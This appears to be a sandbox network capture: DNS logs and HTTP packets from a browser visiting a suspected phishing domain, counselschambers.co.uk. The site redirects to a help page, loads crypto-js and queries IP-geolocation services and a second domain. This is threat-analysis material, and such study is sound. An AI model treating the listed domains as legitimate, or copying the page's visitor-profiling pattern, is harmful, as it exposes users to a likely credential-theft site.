Mar 14, 2025 10:08:33.579248905 CET	192.168.2.4	1.1.1.1	0x3ffa	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:33.579612017 CET	192.168.2.4	1.1.1.1	0xb341	Standard query (0)	ipapi.co	65	IN (0x0001)	false
Mar 14, 2025 10:08:35.150819063 CET	192.168.2.4	1.1.1.1	0xebc3	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:35.151051044 CET	192.168.2.4	1.1.1.1	0xfd74	Standard query (0)	ipapi.co	65	IN (0x0001)	false
Mar 14, 2025 10:08:37.587517977 CET	192.168.2.4	1.1.1.1	0x5ea2	Standard query (0)	pickoutsourcing.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:37.587703943 CET	192.168.2.4	1.1.1.1	0x9400	Standard query (0)	pickoutsourcing.com	65	IN (0x0001)	false
Mar 14, 2025 10:08:39.403249025 CET	192.168.2.4	1.1.1.1	0xcf85	Standard query (0)	pickoutsourcing.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:39.403422117 CET	192.168.2.4	1.1.1.1	0xcf51	Standard query (0)	pickoutsourcing.com	65	IN (0x0001)	false
Mar 14, 2025 10:08:40.326126099 CET	192.168.2.4	1.1.1.1	0xc339	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:40.326309919 CET	192.168.2.4	1.1.1.1	0x9e0b	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 14, 2025 10:08:48.160912991 CET	192.168.2.4	1.1.1.1	0x2c44	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:48.161082029 CET	192.168.2.4	1.1.1.1	0xa1f2	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Mar 14, 2025 10:08:49.003549099 CET	192.168.2.4	1.1.1.1	0x4ee5	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:49.004024982 CET	192.168.2.4	1.1.1.1	0xeafb	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Mar 14, 2025 10:08:49.006536007 CET	192.168.2.4	1.1.1.1	0x17bf	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:49.006753922 CET	192.168.2.4	1.1.1.1	0x1a1	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 14, 2025 10:08:25.120011091 CET	1.1.1.1	192.168.2.4	0x393a	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:25.120893955 CET	1.1.1.1	192.168.2.4	0xb3af	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 14, 2025 10:08:29.582930088 CET	1.1.1.1	192.168.2.4	0x1916	No error (0)	case-id-1000228259003.counselschambers.co.uk		104.21.70.234	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:29.582930088 CET	1.1.1.1	192.168.2.4	0x1916	No error (0)	case-id-1000228259003.counselschambers.co.uk		172.67.168.191	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:29.588267088 CET	1.1.1.1	192.168.2.4	0xdbba	No error (0)	case-id-1000228259003.counselschambers.co.uk			65	IN (0x0001)	false
Mar 14, 2025 10:08:29.603110075 CET	1.1.1.1	192.168.2.4	0xabd1	No error (0)	case-id-1000228259003.counselschambers.co.uk		104.21.70.234	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:29.603110075 CET	1.1.1.1	192.168.2.4	0xabd1	No error (0)	case-id-1000228259003.counselschambers.co.uk		172.67.168.191	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:29.603677988 CET	1.1.1.1	192.168.2.4	0x4ff4	No error (0)	case-id-1000228259003.counselschambers.co.uk			65	IN (0x0001)	false
Mar 14, 2025 10:08:31.700352907 CET	1.1.1.1	192.168.2.4	0x80fa	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 14, 2025 10:08:31.700352907 CET	1.1.1.1	192.168.2.4	0x80fa	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.700352907 CET	1.1.1.1	192.168.2.4	0x80fa	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.700352907 CET	1.1.1.1	192.168.2.4	0x80fa	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.700352907 CET	1.1.1.1	192.168.2.4	0x80fa	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.702275991 CET	1.1.1.1	192.168.2.4	0xb95a	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.702275991 CET	1.1.1.1	192.168.2.4	0xb95a	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.702670097 CET	1.1.1.1	192.168.2.4	0xaf49	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 14, 2025 10:08:31.703186989 CET	1.1.1.1	192.168.2.4	0x46d3	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.703186989 CET	1.1.1.1	192.168.2.4	0x46d3	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.703186989 CET	1.1.1.1	192.168.2.4	0x46d3	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.703186989 CET	1.1.1.1	192.168.2.4	0x46d3	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.717318058 CET	1.1.1.1	192.168.2.4	0xba7	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 14, 2025 10:08:32.690438986 CET	1.1.1.1	192.168.2.4	0x2b98	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 14, 2025 10:08:32.690438986 CET	1.1.1.1	192.168.2.4	0x2b98	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Mar 14, 2025 10:08:32.690438986 CET	1.1.1.1	192.168.2.4	0x2b98	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Mar 14, 2025 10:08:32.691142082 CET	1.1.1.1	192.168.2.4	0xe3c5	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 14, 2025 10:08:32.691142082 CET	1.1.1.1	192.168.2.4	0xe3c5	No error (0)	scontent.xx.fbcdn.net		157.240.253.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:33.447956085 CET	1.1.1.1	192.168.2.4	0x3bef	No error (0)	case-id-1000228259003.counselschambers.co.uk		172.67.168.191	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:33.447956085 CET	1.1.1.1	192.168.2.4	0x3bef	No error (0)	case-id-1000228259003.counselschambers.co.uk		104.21.70.234	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:33.450264931 CET	1.1.1.1	192.168.2.4	0x584b	No error (0)	case-id-1000228259003.counselschambers.co.uk			65	IN (0x0001)	false
Mar 14, 2025 10:08:33.585975885 CET	1.1.1.1	192.168.2.4	0x3ffa	No error (0)	ipapi.co		172.67.69.226	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:33.585975885 CET	1.1.1.1	192.168.2.4	0x3ffa	No error (0)	ipapi.co		104.26.9.44	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:33.585975885 CET	1.1.1.1	192.168.2.4	0x3ffa	No error (0)	ipapi.co		104.26.8.44	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:33.587302923 CET	1.1.1.1	192.168.2.4	0xb341	No error (0)	ipapi.co			65	IN (0x0001)	false
Mar 14, 2025 10:08:35.158030033 CET	1.1.1.1	192.168.2.4	0xebc3	No error (0)	ipapi.co		104.26.9.44	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:35.158030033 CET	1.1.1.1	192.168.2.4	0xebc3	No error (0)	ipapi.co		172.67.69.226	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:35.158030033 CET	1.1.1.1	192.168.2.4	0xebc3	No error (0)	ipapi.co		104.26.8.44	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:35.158449888 CET	1.1.1.1	192.168.2.4	0xfd74	No error (0)	ipapi.co			65	IN (0x0001)	false
Mar 14, 2025 10:08:37.599883080 CET	1.1.1.1	192.168.2.4	0x5ea2	No error (0)	pickoutsourcing.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:37.599883080 CET	1.1.1.1	192.168.2.4	0x5ea2	No error (0)	pickoutsourcing.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:37.599883080 CET	1.1.1.1	192.168.2.4	0x5ea2	No error (0)	pickoutsourcing.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:37.599883080 CET	1.1.1.1	192.168.2.4	0x5ea2	No error (0)	pickoutsourcing.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:37.599883080 CET	1.1.1.1	192.168.2.4	0x5ea2	No error (0)	pickoutsourcing.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:37.599883080 CET	1.1.1.1	192.168.2.4	0x5ea2	No error (0)	pickoutsourcing.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:37.599883080 CET	1.1.1.1	192.168.2.4	0x5ea2	No error (0)	pickoutsourcing.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:37.601732969 CET	1.1.1.1	192.168.2.4	0x9400	No error (0)	pickoutsourcing.com			65	IN (0x0001)	false
Mar 14, 2025 10:08:39.416259050 CET	1.1.1.1	192.168.2.4	0xcf85	No error (0)	pickoutsourcing.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:39.416259050 CET	1.1.1.1	192.168.2.4	0xcf85	No error (0)	pickoutsourcing.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:39.416259050 CET	1.1.1.1	192.168.2.4	0xcf85	No error (0)	pickoutsourcing.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:39.416259050 CET	1.1.1.1	192.168.2.4	0xcf85	No error (0)	pickoutsourcing.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:39.416259050 CET	1.1.1.1	192.168.2.4	0xcf85	No error (0)	pickoutsourcing.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:39.416259050 CET	1.1.1.1	192.168.2.4	0xcf85	No error (0)	pickoutsourcing.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:39.416259050 CET	1.1.1.1	192.168.2.4	0xcf85	No error (0)	pickoutsourcing.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:39.461314917 CET	1.1.1.1	192.168.2.4	0xcf51	No error (0)	pickoutsourcing.com			65	IN (0x0001)	false
Mar 14, 2025 10:08:40.333581924 CET	1.1.1.1	192.168.2.4	0xc339	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:48.376236916 CET	1.1.1.1	192.168.2.4	0x2c44	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:49.010494947 CET	1.1.1.1	192.168.2.4	0x4ee5	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:49.013597012 CET	1.1.1.1	192.168.2.4	0x17bf	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:49.013597012 CET	1.1.1.1	192.168.2.4	0x17bf	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:49.014944077 CET	1.1.1.1	192.168.2.4	0x1a1	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

case-id-1000228259003.counselschambers.co.uk

cdnjs.cloudflare.com

cdn.jsdelivr.net

code.jquery.com

static.xx.fbcdn.net

ipapi.co

pickoutsourcing.com

ipinfo.io

www.google.com

a.nel.cloudflare.com

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49739	142.250.185.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 14, 2025 10:08:32.489023924 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 14, 2025 10:08:33.099704981 CET	221	IN	HTTP/1.1 304 Not Modified Date: Fri, 14 Mar 2025 09:07:30 GMT Expires: Fri, 14 Mar 2025 09:57:30 GMT Age: 63 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 14, 2025 10:08:33.105120897 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 14, 2025 10:08:33.283582926 CET	223	IN	HTTP/1.1 304 Not Modified Date: Fri, 14 Mar 2025 08:46:25 GMT Expires: Fri, 14 Mar 2025 09:36:25 GMT Age: 1328 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49726	104.21.70.234	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:30 UTC	694	OUT	GET / HTTP/1.1 Host: case-id-1000228259003.counselschambers.co.uk Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:30 UTC	887	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 12 Feb 2025 14:20:05 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P8yQp9cLmk3QYLDkWIxLl999zXvkfhJKOAwOWcg%2BwKmlSswlFTPyV6J2%2BqJPnVtWC4l21VkpFRAbZfBI5ruHQIl8G7FP1%2FGscs14JTNw0zlTdwL2qX9S7R8nkPflR5zZTrqoJ76JileUPjMMacy%2FrfI4cG%2FmfFdsfwSWtlmSkg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0785aa59e04-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1943&min_rtt=1929&rtt_var=752&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1266&delivery_rate=1429270&cwnd=224&unsent_bytes=0&cid=1ea15c385b39c7a9&ts=412&x=0"
2025-03-14 09:08:30 UTC	186	IN	Data Raw: 62 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 76 69 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 22 68 65 6c 70 2e 68 74 6d 6c 22 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: b4<!DOCTYPE html><html lang="vi"><head> <meta charset="UTF-8"> <script> window.location.href = "help.html"; </script></head><body></body></html>
2025-03-14 09:08:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49729	104.21.70.234	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:31 UTC	754	OUT	GET /help.html HTTP/1.1 Host: case-id-1000228259003.counselschambers.co.uk Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:31 UTC	885	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 04 Mar 2025 15:38:16 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yCB1KycJ4EJ0PBsQ%2FTOCdiuOOvfF8gB1QwK7aLFBqSkaIZyIV5uIDvOQeyBTkxjwj9RY%2FX6NKfZuexhrxggwhFFra4i715AHfF1rt6vcZl5Ilsx3hfq9AfT7nw9Fnp2wkHptIlQ%2Fj2%2BlDPfbYzwtyr2AMEEvU5cpUx7n6d8gmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a07eec3c7cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1960&min_rtt=1960&rtt_var=735&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1326&delivery_rate=1487519&cwnd=228&unsent_bytes=0&cid=8988e4a311b2a5d1&ts=418&x=0"
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 33 37 64 30 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 41 41 41 41 41 77 43 41 59 41 41 41 42 58 41 76 6d 48 41 41 41 47 43 55 6c 45 51 56 52 34 58 75 32 58 65 34 68 55 56 52 7a 48 66 2f 66 4f 7a 4f 36 61 50 52 52 4a 4c 46 54 36 49 36 57 48 59 6c 59 51 68 45 6f 51 5a 41 38 77 71 54 38 4b 69 54 4a 33 33 5a 66 75 77 33 56 58 39 2b 47 34 75 31 71 43 46 71 49 6b Data Ascii: 37d0<html lang="en"><head> <meta charset="UTF-8"> <link rel="icon" type="image/svg+xml" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAGCUlEQVR4Xu2Xe4hUVRzHf/fOzO6aPRRJLFT6I6WHYlYQhEoQZA8wqT8KiTJ33Zfuw3VX9+G4u1qCFqIk
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 72 70 68 7a 62 61 6c 70 6d 50 38 44 6e 6e 38 62 42 33 6b 53 55 59 43 4c 51 30 67 53 77 48 5a 30 49 41 39 7a 49 4c 66 45 53 30 63 65 41 72 77 6f 35 42 6c 59 4e 43 33 32 69 4d 2b 4b 37 61 2f 75 78 48 58 6f 69 46 6c 36 44 33 49 64 41 4d 4d 73 79 4f 43 48 38 63 51 4f 4b 43 46 44 42 61 71 64 42 58 62 37 39 4e 51 37 38 72 41 6b 65 49 71 6f 61 4f 73 67 44 47 4f 4e 58 44 61 32 79 47 6e 77 59 36 4c 51 52 57 71 4a 36 65 37 44 2f 6e 51 32 43 55 42 59 42 4a 77 42 38 42 63 32 32 32 30 66 66 6a 41 76 4a 2b 4a 77 68 68 66 77 42 78 67 5a 6f 67 43 36 79 30 2b 57 4c 2b 41 52 43 4b 51 43 4e 36 58 37 50 79 68 63 42 65 7a 2b 6f 4c 33 45 59 49 33 79 54 58 41 52 39 75 78 32 77 65 61 43 66 4a 47 7a 62 66 37 7a 54 68 36 66 42 72 62 48 2f 43 49 4d 69 4c 68 4d 64 56 4e 73 49 76 42 Data Ascii: rphzbalpmP8Dnn8bB3kSUYCLQ0gSwHZ0IA9zILfES0ceArwo5BlYNC32iM+K7a/uxHXoiFl6D3IdAMMsyOCH8cQOKCFDBaqdBXb79NQ78rAkeIqoaOsgDGONXDa2yGnwY6LQRWqJ6e7D/nQ2CUBYBJwB8Bc2220ffjAvJ+JwhhfwBxgZogC6y0+WL+ARCKQCN6X7PyhcBez+oL3EYI3yTXAR9ux2weaCfJGzbf7zTh6fBrbH/CIMiLhMdVNsIvB
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 31 2e 31 2f 63 72 79 70 74 6f 2d 6a 73 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 69 6e 68 65 72 69 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 20 2e 6e 73 2d 62 6c 6f 63 Data Ascii: <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.js"></script> <style type="text/css"> .ns-block-ui { position: relative; overflow: inherit; } .ns-block-ui .ns-bloc
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 6e 64 65 78 3a 20 32 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2d 6c 6f 61 64 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2d 6c 6f 61 64 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 Data Ascii: ndex: 2; display: flex; flex-direction: column; } .ns-block-ui .ns-block-ui-container .ns-block-ui-loader-container .ns-block-ui-loader { position: relati
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 76 65 72 6c 61 79 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 30 30 6d 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 65 61 73 65 2d 6f 75 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2e 62 6c 6f 63 6b 69 6e 67 20 2e 6e 73 2d 62 6c 6f 63 6b 2d 75 69 2d 63 6f 6e 74 61 69 6e 65 72 2e 66 61 64 65 6f 75 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 4f 75 74 4f 76 65 72 6c 61 79 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 Data Ascii: verlay; animation-duration: 100ms; animation-timing-function: ease-out; } .ns-block-ui.blocking .ns-block-ui-container.fadeout { animation-name: fadeOutOverlay; anima
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 38 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 52 54 4c 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 Data Ascii: ateX(0px); transform: translateX(0px); } 60% { opacity: 1; } 80% { opacity: 0; } } @keyframes fadeInRTL1 { 0% {
